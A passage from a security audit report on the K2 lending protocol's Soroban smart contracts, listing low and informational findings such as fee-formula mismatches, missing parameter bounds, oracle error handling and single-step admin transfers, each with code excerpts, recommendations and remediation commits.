257             fn_name: symbol_short!("transfer"),
258             args: soroban_sdk::vec![
259                 &env,
260                 adapter_address.to_val(),
261                 router.to_val(),
262                 (amount_in as i128).into_val(&env),
263             ],
264         },
265         sub_invocations: Vec::new(&env),
266     }]),
267 ];
```

 Copy Code

BVSS

AO:A/AC:L/AX:M/R:P/S:U/C:N/A:H/I:N/D:H/Y:N (3.1)

Recommendation

In `SoroswapSwapAdapter::execute_swap` router fallback, compute the first-hop pair address and pre-authorize the *exact* transfer that Soroswap router will perform:

- Call `router_pair_for(from_token, to_token)` on the configured Soroswap router (or call `get_factory` then compute `pair_for`), then
- `authorize_as_current_contract` for `from_token.transfer(adapter_address, pair_address, amount_in)` (not `... -> router`),
- Then call `swap_exact_tokens_for_tokens(..., to = adapter_address, ...)` and forward output tokens to `recipient` as done currently.

This aligns the adapter's auth entries with Soroswap's actual execution flow and prevents swap-dependent K2 operations from reverting when the adapter is configured without a factory.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/84ae83bc1ab206e4700295531b03fa0104c0d26e>

7.23 SOROSWAP DIRECT SWAP FEE FORMULA DIVERGES AND MISPRICES OUTPUTS

// LOW

Description

Soroswap's fee is calculated as 0.3% using ceiling arithmetic: `fee = ceil(amount_in * 3 / 1000)`. The swap is executed on `amount_in - fee`.

In contrast, `dex.rs::calculate_amount_out` applies a multiplication by 997/1000 with floor arithmetic, which can overstate the output token amount by up to one unit for small trades.

As a result, direct swaps routed via the factory path can request an `amount_out` that slightly exceeds the pair invariant; the pair therefore reverts instead of honoring the worse pricing, causing those trades—particularly small ones—to fail and callers to encounter avoidable reverts.

Router-based swaps are not affected because Soroswap's own math is used there.

Code Location

Hardcoded 997/1000 fee (`contracts/shared/src/dex.rs`):

```
36 fn calculate_amount_out(amount_in: i128, reserve_in: i128, reserve_out: i128) -> Option<i128> {
37     ...
38     let amount_in_with_fee = amount_in.checked_mul(997)?;
39     let numerator = amount_in_with_fee.checked_mul(reserve_out)?;
40     let denominator = reserve_in.checked_mul(1000)?.checked_add(amount_in_with_fee)?;
41     numerator.checked_div(denominator)
42 }
```

 Copy Code

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:M/I:N/D:N/Y:L (2.8)

Recommendation

Align `calculate_amount_out` with Soroswap's fee formula (ceil 0.3%) or call the Soroswap library/router for amount calculations to avoid mispriced outputs and unexpected reverts.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/4db03b4ed5455cec4e3b796ffcf2ed42958492a4>

7.24 MISNAMED DEBT-TOKEN VIEWS MISSTATE BORROW CONTEXT

// LOW

Description

The debt-token contract exposes `balance_of_with_liquidity_index`, even though debt tokens accrue against a borrow index. This view calls the same helper as the proper borrow-index getters, so it is functionally redundant, but its name suggests a liquidity index and can mislead integrators about which index to supply.

The pool does not use this entrypoint today, but the misleading API surface increases the chance of incorrect third-party calls or stale integrations.

Similarly, `get_underlying_asset` is present even though debt tokens track borrowed assets; the correct getter is `get_borrowed_asset`. This duplicate/misnamed view adds to the confusing API surface.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (2.5)

Recommendation

Remove the misleading `balance_of_with_liquidity_index` and `get_underlying_asset` entry points from the debt-token.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/34b010b2d0b5568283acc9604f4efc161c5c78ee>

7.25 AMBIGUOUS ERROR CODES OBSCURE ROOT CAUSES IN TOKEN FLOWS

// LOW

Description

Both aToken and debt-token frequently return `TransferFailed` (or `TokenNotFound` during double-init) for unrelated conditions: failed auth (`caller` mismatch), zero amounts, stale/forged indexes, insufficient balance/allowance, and even unimplemented entrypoints in debt-token (`transfer`, `transfer_from`, `approve`).

These broad errors collapse distinct failure modes into a single code, making it difficult for integrations, monitoring, and incident response to distinguish auth failures, balance insufficiency, or programming mistakes. In debt-token, user-facing functions that are intentionally unsupported also return `TransferFailed`, which is misleading.

Pool configurator reserve module also collapses router errors to `InvalidAmount` (and panics on missing reserves), obscuring real causes (auth failures, missing reserve) and breaking operational diagnosability of critical config paths.

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:N/I:M/D:N/Y:N (2.5)

Recommendation

Return specific error variants for distinct conditions (e.g., Unauthorized, InvalidAmount, InsufficientBalance/Allowance, InvalidIndex) and use a dedicated error for intentionally unsupported functions in debt-token. Map double-initialization to an existing AlreadyInitialized-style error. This improves observability, debuggability, and reduces ambiguity for integrators.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/8db7dfed8dae08543e9d7692d8d7e07252d7056c>

7.26 UNBOUNDED INTEREST RATE PARAMETERS ALLOW DEGENERATE CURVES AND MISPRICING

// LOW

Description

The interest-rate-strategy is configured to accept administrator-supplied curve parameters; however, the `validate_interest_rate_params` function only enforces per-field caps and does not enforce inter-field invariants. As a result, values such as `optimal_utilization_rate` of `0` or `RAY`, zero or flat slope values, and arbitrary slope ordering are permitted.

A malicious or careless administrator may set `optimal_utilization_rate` to `0` (or to `RAY`), which will collapse the piecewise curve into a single branch, choose `slope2 < slope1` or very small slope values to keep borrowing unduly cheap at high utilization, or configure an extreme `base + slope2` sum that exceeds intended component limits.

As a consequence, rates at high utilization may be driven too low (increasing the risk of liquidity drains and insolvency) or too high (causing excessive accrual and creating potential overflow paths in downstream calculations that assume bounded totals), and the protocol's utilization-based risk controls may be rendered ineffective.

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:M/I:H/D:H/Y:H (2.5)

Recommendation

Enforce economic shape and boundedness: (1) require `0 < optimal_utilization_rate < RAY`; (2) require non-zero slopes and, if intended, `variable_rate_slope2 >= variable_rate_slope1` to keep the curve monotonic after optimal; (3) cap the total max rate (e.g., `base + slope1 + slope2 <= MAX_TOTAL_RATE`), and reject configurations that exceed operational limits. Apply the same validation for global and per-asset parameter updates.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation to enforce economic shape validation and boundedness, introducing `MAX_TOTAL_RATE` (20 RAY = 2000%) and `MAX_COMPONENT_RATE` (10 RAY = 1000%) caps to prevent degenerate curves and overflow risks.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/c0b0dc32448cb0601343a9b6a1f3a3b6704d5b97>

7.27 POOL CONFIGURATOR DEBT CEILING IS UNIMPLEMENTED

// LOW

Description

The configurator exposes `set_debt_ceiling`, but the packed `ReserveConfiguration` lacks a debt-ceiling field: `get_debt_ceiling` always returns 0 and no setter is present. The entrypoint emits an event and rewrites the unchanged configuration, so any supplied debt ceiling is discarded and never enforced or queryable. Consequently, governance may be led to believe that ceilings have been set while the effective risk limits remain unchanged.

BVSS

AO:A/AC:L/AX:M/R:P/S:U/C:N/A:N/I:M/D:M/Y:M (2.5)

Recommendation

Add a real debt-ceiling field to `ReserveConfiguration` (or a dedicated storage slot) with getter/setter and enforcement in the router, then persist the ceiling before emitting events. If debt ceilings are out of scope, remove the entrypoint to avoid false confidence.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation to add a real debt ceiling field with getter/setter and enforcement in the router, implementing dedicated storage functions, validation logic, and router API endpoints for debt ceiling management.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/e14470188e4d3dd464cbf58fc4ad93dc98464a3b>

7.28 STANDALONE LIQUIDATOR PATH FAILS WITHOUT CROSS-CONTRACT AUTHORIZATION, BLOCKING LIQUIDATIONS

// LOW

Description

`atomic_flash_liquidation` calls `caller.require_auth()` and then `env.authorize_as_current_contract(...)`, expecting that to “authorize the caller” for `router.flash_liquidation`.

However, `authorize_as_current_contract` only pre-authorizes deeper calls on behalf of the liquidator *contract*, not the EOA. The router still runs `liquidator.require_auth()` on the EOA and, without a signed auth tree that includes the router invocation as a sub-call, the auth check fails `TransferFailed`.

Default clients that only sign the liquidator call will always fail; only a caller that pre-authorizes both the liquidator call *and* the router sub-call succeeds.

Code Location

EOA auth in liquidator before calling router (`contracts/liquidator/src/liquidation.rs`):

```
7 pub fn atomic_flash_liquidation(  
8     env: &Env,  
9     caller: &Address,  
10    ...  
11 ) -> Result<LiquidationResult, LiquidatorError> {  
12     caller.require_auth();  
13     ...  
14     // Authorize caller to call flash_liquidation  
15     env.authorize_as_current_contract(...); // @audit - 1only authorizes this contract  
16     let flash_liquidation_result = env.try_invoke_contract::<(), LiquidatorError>(  
17         &pool,  
18         &sym_flash_liquidation,  
19         flash_liquidation_args,  
20     );  
21     ...  
22 }
```

 Copy Code

Router re-checks `require_auth()` on the liquidator address (`contracts/kinetic-router/src/router.rs`):

```
326 | pub fn flash_liquidation(  
327 |     env: Env,  
328 |     liquidator: Address,  
329 |     ...  
330 | ) -> Result<(), KineticRouterError> {  
331 |     liquidator.require_auth(); // expects the EOA signer  
332 |     ...  
333 | }
```

BVSS

AO:A/AC:L/AX:M/R:P/S:U/C:N/A:M/I:M/D:N/Y:M (2.5)

Recommendation

In the liquidator, require EOA auth over the router args (e.g., `caller.require_auth_for_args(router_args)`), and document that the transaction must include an authorized invocation tree containing the router call as a sub-invocation. Remove or clarify the misleading comment on `authorize_as_current_contract`, which does not authorize the EOA.

Remediation Comment

SOLVED: The **K2 team** solved this finding by removing the problematic standalone liquidator contract entirely and subsequently updating documentation in the specified commit to clarify correct EOA authorization patterns for cross-contract calls using `require_auth_for_args()`.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/5423b948c7c57db5b7051c4e98030f60c314a392>

7.29 ORACLE ERRORS COLLAPSED INTO “PRICEORACLENOTFOUND” MASK REAL FAILURES

// LOW

Description

All oracle call errors are mapped to `PriceOracleNotFound`, conflating missing configuration with transient oracle failures. When the oracle contract returns an error or a call traps, the router reports “oracle not found,” obscuring the real cause, prompting incorrect remediation, and making monitoring unable to distinguish misconfiguration from runtime failures. Liquidation and pricing flows may abort unnecessarily or trigger governance responses based on misleading diagnostics.

Code Location

Price fetch collapses all errors to “not found” (`contracts/kinetic-router/src/price.rs`):

 Copy Code

```
29 | let price_result = env.try_invoke_contract::(<Vec<PriceData>, KineticRouterError>(...));
30 | let prices_vec = match price_result {
31 |     Ok(Ok(pv)) => pv,
32 |     Ok(Err(_)) | Err(_) => return Err(KineticRouterError::PriceOracleNotFound),
33 | };
```

Liquidation price batch does the same (`contracts/kinetic-router/src/liquidation.rs`):

 Copy Code

```
29 | let price_result = env.try_invoke_contract::(<Vec<PriceData>, KineticRouterError>(...));
30 | let prices_vec = match price_result {
31 |     Ok(Ok(pv)) => pv,
32 |     Ok(Err(_)) | Err(_) => return Err(KineticRouterError::PriceOracleNotFound),
33 | };
```

BVSS

AO:A/AC:L/AX:L/R:P/S:U/C:N/A:N/I:M/D:N/Y:N (2.5)

Recommendation

Differentiate oracle failures: surface configuration/“not set” errors separately from invocation/runtime errors, and propagate the underlying error when possible. This allows operators to react correctly to oracle outages versus misconfiguration and avoids misleading error codes in liquidation and pricing flows.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/d57655a35afaa641d4f21d7b17b84679316a856c>

7.30 OVERSTATED PROTOCOL RESERVES WHEN TOTAL_BORROW EXCEEDS TOTAL_SUPPLY, POTENTIALLY TRIGGERING HARMFUL TREASURY SWEEPS

// LOW

Description

`get_protocol_reserves` computes `available_liquidity = total_supply.saturating_sub(total_borrow)` and, when debt exceeds supply, treats the entire on-chain `underlying_balance` as protocol reserves. This overstates reserves and masks an invariant breach, misleading governance.

More importantly, `treasury::collect_protocol_reserves` uses the same saturating pattern to compute `available_reserves`. If `total_borrow > total_supply`, it can treat (nearly) the entire `underlying_balance` held by the aToken as “protocol reserves” and transfer it to the treasury. Even though collection is admin-only, this turns a latent accounting/invariant breach into an active loss of withdrawable liquidity for suppliers if governance or automation executes the collection based on the overstated value.

Code Location

Code snippet from the `get_protocol_reserves` function located in `contracts/kinetic-router/src/calculation.rs`:

```
1382 | let available_liquidity = total_supply.saturating_sub(total_borrow);
1383 | if underlying_balance > available_liquidity {
1384 |     Ok(underlying_balance - available_liquidity)
1385 | } else {
1386 |     Ok(0)
1387 | }
```

 Copy Code

Code snippet from the `collect_protocol_reserves` function located in `contracts/kinetic-router/src/treasury.rs`:

```
40 | let available_liquidity = total_supply.saturating_sub(total_borrow);
41 | let available_reserves = if underlying_balance > available_liquidity {
42 |     underlying_balance - available_liquidity
43 | } else {
44 |     return Ok(0); // No reserves available
45 | };
```

 Copy Code

BVSS

AO:A/AC:L/AX:M/R:P/S:U/C:N/A:M/I:M/D:N/Y:L (2.3)

Recommendation

Detect `total_borrow > total_supply` and return an error (or 0 reserves) instead of reporting the full balance as reserves. In `collect_protocol_reserves`, additionally block collection when this invariant is violated to prevent sweeping supplier liquidity during insolvency/misaccounting.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/c44e80259b5f664d6dfb49922438fb6c8f86b4a6>

7.31 MISSING ORACLE PRICES BLOCK LIQUIDATIONS AND CAUSE BAD DEBT ACCUMULATION

// LOW

Description

The liquidation health-factor check relies on account-data helpers that require oracle prices. In the initial scope, liquidation would revert if the borrower had *another active collateral/debt position* in a reserve whose oracle price was missing/zero (a "poison pill" dust position).

In the additional scope (commit `0e4dd041`), this risk becomes strictly worse: `calculate_user_account_data_with_prices_optimized` prefetches prices for **all reserves** (excluding only the liquidation pair) before even checking whether the user has balances in those reserves. Because the batch oracle helper errors when the oracle response does not include a price for every requested asset, **liquidation can revert even when the borrower has no position in the unrelated reserve(s)**. This can block liquidations and allow bad debt to accumulate when markets move or interest accrues.

Code Location

Liquidation depends on account-data-with-prices (`contracts/kinetic-router/src/liquidation.rs`):

```
77 let user_account_data = calculation::calculate_user_account_data_with_prices(  
78     &env,  
79     &user,  
80     &collateral_asset,  
81     &debt_asset,  
82     collateral_price,  
83     debt_price,  
84 )?;  
85  
86 if user_account_data.health_factor >= WAD {  
87     return Err(KineticRouterError::InvalidLiquidation);  
88 }
```

 Copy Code

Account-data helper errors on missing/zero price for any non-zero position (even outside the liquidation pair) (`contracts/kinetic-router/src/calculation.rs`):


```

160 if user_config.is_using_as_collateral(reserve_data.id as u8) {
161     // ... balance read ...
162     if balance > 0 {
163         let asset_price = if asset == *collateral_asset {
164             collateral_price
165         } else {
166             let mut assets = Vec::new(env);
167             assets.push_back(asset.clone());
168             let price_map = crate::price::get_prices_for_assets(env, &assets)?;
169             price_map
170                 .get(asset.clone())
171                 .ok_or(KineticRouterError::PriceOracleNotFound)?
172         };
173
174         if asset_price == 0 {
175             return Err(KineticRouterError::PriceOracleNotFound);
176         }
177         // ... value computation ...
178     }
179 }

```

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:H/I:N/D:H/Y:H (2.3)

Recommendation

Make liquidation liveness resilient to unrelated oracle gaps: batch-fetch prices for the full set of assets being accounted, and for non-target assets treat missing/zero prices as “skip this asset’s contribution” (or another conservative, non-reverting policy) instead of aborting liquidation.

Additionally, prevent reserves from being enabled as collateral/borrowable unless a valid oracle feed is configured and non-zero.

Remediation Comment

SOLVED: The K2 team solved this finding in the following commits:

- **d0472e1**: made liquidation/HF less revert-prone by treating oracle failures for non-pair assets as “*skip*” during `calculate_user_account_data_with_prices_optimized`. This improved liveness in some cases, but silently dropped contributing positions (risking incorrect HF/liquidation decisions) and still over-requested prices (batching broadly rather than by actual user exposure).

- **3765d7c**: refactored the optimized HF path to fetch prices only for reserves where the user actually has a non-zero collateral/borrow balance, and introduced batch-first with per-asset fallback price fetching. It also added oracle non-zero price checks before allowing borrowing (and for supply when the reserve is configured with LTV > 0, which does not fully guarantee oracle validity for all collateral/HF-contributing configurations). This resolves the key *“unrelated reserves missing prices can block liquidation”* regression and removes the *“silent skip”* correctness issue for contributing positions.
- **7ee95d1**: added oracle price validation checks before enabling collateral usage in `set_user_use_reserve_as_coll`, supply auto-enablement, and collateral swap operations to prevent liquidation failures from missing oracle prices.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/d0472e10ca637fd3ace255cfcb2a793437b91180>

7.32 OUT-OF-RANGE RESERVE PARAMETERS ARE SILENTLY TRUNCATED, CAUSING BROKEN RISK LIMITS AND POTENTIAL DOS

// LOW

Description

Reserve configuration entrypoints (`configure_reserve_as_collateral`, `set_reserve_factor`, `set_reserve_flashloaning`, `set_reserve_supply_cap`, `set_reserve_borrow_cap`, `set_debt_ceiling`) are accepting out-of-range parameters while only masking them into fixed bit widths, which allows submitted values to silently wrap.

Liquidation bonuses are left unbounded and any `u32` value is truncated to 14 bits; decimals are accepted without bounds and large inputs can cause `get_decimals_pow()` to overflow and revert; supply and borrow caps are accepted as `u128` but are truncated to 64 bits.

An administrator can submit extreme values (for example, `liquidation_bonus = u32::MAX`, `decimals = 80`, `supply_cap = 2^127`) and the protocol will store the wrapped values without raising an error, resulting in over-liquidation incentives, unexpectedly small caps that block deposits or borrows, or a permanent denial-of-service when the decimal power computation overflows.

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:H/I:M/D:N/Y:H (2.1)

Recommendation

Reject any configuration that falls outside documented domains prior to packing. Constrain liquidation bonus and reserve factor to basis points (0–10,000) and reject values exceeding this range. Cap token decimals to a safe maximum (e.g., ≤ 38), or reject any value for which `10^decimals` would overflow. Enforce supply and borrow caps within `u64::MAX` (or widen the underlying storage), and revert on any input that would otherwise be truncated. Apply identical validation logic to both initialization and reconfiguration entrypoints, and return explicit, parameter-specific errors when validation fails.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/c02e0c8791292907c91c016516cfc8f1adc811df>

7.33 INACTIVE FALLBACK ORACLE RESULTS IN SINGLE-ORACLE RELIANCE

// LOW

Description

The storage layer and admin interface expose `set_fallback_oracle`, which is suggestive of a failover path for the price oracle when Reflector is unavailable. In reality, none of the price paths (`get_asset_price`, `get_price_with_protection`, TWAP) are ever read from `DataKey::FallbackOracle`. Consequently, if Reflector is stalled or upgraded, the entire lending protocol is forced offline because no secondary source of truth is available despite the apparent configuration knob. This mismatch increases operational risk: a fallback may be presumed available when it is not, resulting in extended outages during Reflector maintenance or downtime.

BVSS

[AO:S/AC:L/AX:L/R:N/S:U/C:N/A:C/I:N/D:N/Y:N \(2.0\)](#)

Recommendation

Implement real fallback logic so that `set_fallback_oracle` does what it advertises: attempt Reflector first, and if it fails (missing price, stale data, or query error) immediately query the fallback oracle and apply the same validations. Track which feed supplied the answer so governance can monitor failover events, and ensure both paths share identical staleness, deviation, and circuit-breaker protections to avoid inconsistent trust assumptions.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/c2ec7c2060d55e022725dd72594617d633bcd711>

7.34 MISSING TWO-STEP ADMIN ACCEPTANCE MAKES TRANSFERS IRREVERSIBLE

// LOW

Description

Admin changes are committed immediately in both `set_admin` and `transfer_admin`. Once a single transaction is signed by the current admin, the stored admin slot is updated and the previous admin is permanently removed from control. No “pending admin” state or explicit acceptance by the new address is provided.

If the governance address is mistyped, if an address that has not yet been deployed is used, or if rotation is performed to a multisig whose keys are not yet available, control of the contract can be assigned to an incorrect address with no recovery path.

The same single-transaction rotation mechanism is present in the pool-configurator's `transfer_admin`, the kinetic-router's `transfer_admin`, `transfer_pool_admin`, `transfer_emergency_admin`, the interest-rate-strategy contract's `set_admin`, and the redstone-adapter contract's `set_admin`, so every admin role across the protocol can be irreversibly pointed at an incorrect address in one call. Industry-standard patterns require a two-step handshake (propose + accept) to prevent these irrecoverable mistakes.

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:N/I:C/D:N/Y:N (2.0)

Recommendation

Introduce staged ownership transfer: store a `pending_admin` when the current admin proposes a change, emit an event, and require the pending address to call `accept_admin()` (auth enforced) before finalizing `ADMIN_KEY`. Allow cancellations or expirations so governance can recover if the pending party never accepts. This guarantees that control only moves once the new admin proves its ability to sign.

Remediation Comment

SOLVED: The K2 team solved this finding in the following commits by implementing two-step admin transfer processes across all affected contracts, replacing direct one-step transfers with propose/accept/cancel flows where some contracts use a shared upgradeable helper module and others implement their own pending admin logic.

- d10b9cc
- 43a901e
- 824d47b
- c611a4f
- f3c398b

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/f3c398b1333cece5e810019576d45f074c2897ea>

7.35 NEGATIVE REFLECTOR TWAP VALUES CONVERT INTO HUGE POSITIVE PRICES

// LOW

Description

The TWAP helper `query_reflector_twap` is implemented to call `ReflectorClient::twap`, to cast the returned `i128` value into an unsigned `u128` without validation, and to stamp the result with the current ledger timestamp. Reflector's TWAP endpoint returns signed values, and its documentation instructs integrators to reject negative results.

In practice, Reflector's off-chain aggregation and admin-only update path is expected to publish only non-negative quotes, so the probability of observing a negative value is extremely low. Nonetheless, if a software regression or operator error allowed a negative TWAP to be returned, the unchecked cast would wrap it into an extremely large positive number (approximately 2^{128}). The functions `get_twap` and `get_price_with_protection` would then accept this fabricated price as fresh data and could grossly misvalue collateral and debt. Because the timestamp is overwritten with the current ledger time, staleness checks cannot be relied upon to detect this corruption.

Code Location

```
141 pub fn query_reflector_twap(  
142     env: &Env,  
143     reflector_addr: &Address,  
144     asset: &Asset,  
145     periods: u32,  
146 ) -> Result<PriceData, crate::OracleError> {  
147     let reflector_wrapper = Wrapper::new(env, reflector_addr);  
148     let reflector_price = reflector_wrapper  
149         .twap(asset, &periods)  
150         .ok_or(crate::OracleError::OracleQueryFailed)?;  
151     Ok(PriceData {  
152         price: reflector_price as u128,  
153         timestamp: env.ledger().timestamp(),  
154     })  
155 }
```

 Copy Code

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:L/I:H/D:H/Y:N (2.0)

Recommendation

Mirror the spot-path validation by reverting in case the reflector price is negative before performing any cast.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/72cb001242a264348ca026cde859b7322f742c71>

7.36 MANUAL OVERRIDE PRICES NEVER EXPIRE AND CAN LEAVE THE PROTOCOL PERMANENTLY MISPRICED

// INFORMATIONAL

Description

Manual overrides are provided as an emergency mechanism to freeze prices during incidents. When an override is set, the contract immediately writes the override price to storage and stamps it with the current ledger time. No expiration or review mechanism exists: the override remains active indefinitely until governance remembers to remove it, and subsequent staleness checks always pass because the timestamp is refreshed on every read.

In practice, this means an emergency response can unintentionally leave an asset permanently fixed at an outdated price, silently distorting collateral and debt accounting long after the incident has passed.

Code Location

Code snippet from the `get_asset_price_data` function defined in `contracts/price-oracle/src/contract.rs`:

 Copy Code

```
232 | if let Some(override_price) = config.manual_override_price {
233 |     if oracle_config.price_staleness_threshold == 0 {
234 |         return Err(OracleError::PriceSourceNotSet);
235 |     }
236 |     // Apply circuit breaker to manual overrides to prevent admin errors from causing
237 |     // extreme price jumps that could trigger unintended liquidations or break calculations
238 |     Self::validate_price_change(&env, &asset, &override_price, &oracle_config)?;
239 |     storage::set_last_price(&env, &asset, override_price);
240 |     return Ok(PriceData {
241 |         price: override_price,
242 |         timestamp: env.ledger().timestamp(),
243 |     });
244 | }
```

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:H/Y:N (1.9)

Recommendation

Add an explicit expiry mechanism to manual overrides (e.g., store an `override_timestamp` and reject overrides that have passed a defined validity period), or require governance to specify an expiry time whenever an override is created. Emit events as overrides near their expiry so monitoring systems can alert operators, allowing them to proactively renew, adjust, or remove overrides as needed.

Remediation Comment

SOLVED: The **K2 team** solved this finding by adding expiry timestamps to manual price overrides with automatic cleanup in the spot price path (`get_asset_price_data`) in commit **c1c3a38**. As for the TWAP functionality, it was removed from the protocol in commit **788dd80**.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/c1c3a388131128449288edb240257c00c861104f>

7.37 ZERO-BUFFER COLLATERAL CONFIG TRIGGERS HAIR-TRIGGER LIQUIDATIONS

// INFORMATIONAL

Description

`configure_reserve_as_collateral` is permitted to set `ltv == liquidation_threshold`, resulting in no buffer between the borrow limit and the liquidation point.

This configuration can be set by an authorized configurator (admin); no exploit precondition beyond a governance action is required. Positions can be immediately flipped into liquidation by accrued interest, minor price ticks, or routine fees, causing unexpected liquidations and grieving of users after minimal market movement.

Consequently, avoidable, hair-trigger liquidations that can result in otherwise healthy borrowers being liquidated following minor adverse moves or routine accruals.

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:M/I:M/D:M/Y:M (1.8)

Recommendation

Enforce a buffer between borrow limit and liquidation: require `liquidation_threshold > ltv` (ideally with a minimum gap, e.g., +50–100 bps) and reject configs that set them equal. Consider emitting an event when configs are rejected for violating this invariant to aid governance tooling.

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/370f5124c45c89b882914ffc2f96283c4e625751>

7.38 UNCHECKED ARITHMETIC AND HEALTH-FACTOR SATURATION IN SELECTIVE ACCOUNT DATA PATH

// INFORMATIONAL

Description

`calculate_user_account_data_selective` multiplies `total_collateral_base * ltv` without checked math and returns `u128::MAX` on health-factor overflow, unlike the scaled fallback used elsewhere. Large positions can wrap/panic in release builds or silently report maximal health, masking risk and overstating available borrows.

BVSS

AO:A/AC:M/AX:M/R:P/S:U/C:N/A:M/I:M/D:N/Y:L (1.5)

Recommendation

Use `checked_mul` (or explicit overflow error) for `total_collateral_base * ltv`, and align HF overflow handling with the default helper (scale-down retry before returning MAX).

Remediation Comment

SOLVED: The K2 team solved this finding in the specified commit by following the mentioned recommendation.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/6b2cfaf521cd39c3d3a3d22853fad545c9ddf0ef>

7.39 HARDCODED 14-DECIMAL PRECISION MAY CAUSE MISPRICED REFLECTOR FEEDS

// INFORMATIONAL

Description

Reflector feeds report every asset using the same precision returned by `decimals()` and, per the official docs, that value is immutable for a given feed.

Today there are only three public feeds and all of them use 14 decimals, but nothing in Reflector prevents future feeds from choosing a different scale. The price-oracle contract, however, hardcodes the assumption that all Reflector feeds use 14 decimals

`DEFAULT_ORACLE_CONFIG.price_precision`) and never fetches the feed's declared precision.

If governance ever points the oracle at a feed whose `decimals()` differs, every price it reads will be mis-scaled by a constant factor, producing order-of-magnitude errors in collateral valuation and debt accounting. Because the lending protocol trusts these numbers for borrow limits and liquidations, the entire system remains fragile even if today's feeds incidentally match the hardcoded assumption.

BVSS

AO:S/AC:L/AX:M/R:N/S:U/C:N/A:N/I:H/D:H/Y:N (1.3)

Recommendation

Make price precision configurable per Reflector contract rather than hardcoding 14 decimals. Whenever the oracle admin updates the Reflector contract address, call `decimals()` on that contract once, persist the returned value in storage, and use it for all subsequent scaling/validation logic. Because Reflector guarantees the value is immutable for a feed, this one-time query removes the hardcoded assumption while avoiding repeated calls.

Ensure that downstream protocol components dynamically calculate and use the conversion factor based on the oracle's actual price precision instead of hardcoded constants.

Remediation Comment

SOLVED: The K2 team solved this finding in the following commits:

- **6a9902b**: queried and stored the Reflector's `decimals()` value during oracle initialization and contract updates to dynamically set `price_precision`.
- **cd2b5d5**: for both the reflector and fallback oracle, it fetched `decimals()` and normalized returned prices to `config.price_precision` so that different sources could be made consistent with the configured precision.
- **650e325**: fixed most router/liquidation price-to-WAD conversions by making them use a dynamic oracle-precision→WAD factor (instead of hardcoded 14-decimal assumptions) and added tests to validate non-14 precision handling.
- **b68064d**: fixed the hardcoded `* 10_000` (14→18) conversions left.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/b68064da7d8b268adb0b269b13020a03d5686adf>

7.40 UNBOUNDED RESERVE FACTOR CAN UNDERFLOW LIQUIDITY RATE CALCULATION

// INFORMATIONAL

Description

`calculate_interest_rates` converts `reserve_factor` (bps) to ray via `reserve_factor * RAY / 10000` without clamping the input to the 0–10000 range, and then uses the resulting value in `RAY - reserve_factor_ray`.

If `reserve_factor` is set above 10000, `reserve_factor_ray` will exceed `RAY`, causing the subtraction to underflow and panic when overflow checks are enabled. Prior to that condition, a `checked_mul` overflow will be mapped to `u128::MAX`, which also guarantees a panic on the subsequent subtraction.

As a result, a misconfigured reserve factor can cause the rate calculation to revert or abort, disrupting interest updates for the affected asset.

Code Location

Code snippet from the `calculate_interest_rates` function:

```
96 | let reserve_factor_ray = reserve_factor
97 |   .checked_mul(RAY)
98 |   .map(|v| v / 10000)
99 |   .unwrap_or(u128::MAX);
100 | let liquidity_rate = ray_mul(
101 |   &env,
102 |   ray_mul(&env, variable_borrow_rate, utilization_rate),
103 |   RAY - reserve_factor_ray,
104 | );
```

 Copy Code

BVSS

AO:A/AC:L/AX:L/R:F/S:U/C:N/A:M/I:N/D:N/Y:N (1.3)

Recommendation

Clamp `reserve_factor` to the valid bps range (0–10000) and return an error on out-of-range values before converting. Avoid `.unwrap_or(u128::MAX)`; instead, reject on overflow. This prevents underflow and ensures rate calculation remains available under misconfiguration.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the specified commit by following the mentioned recommendation.

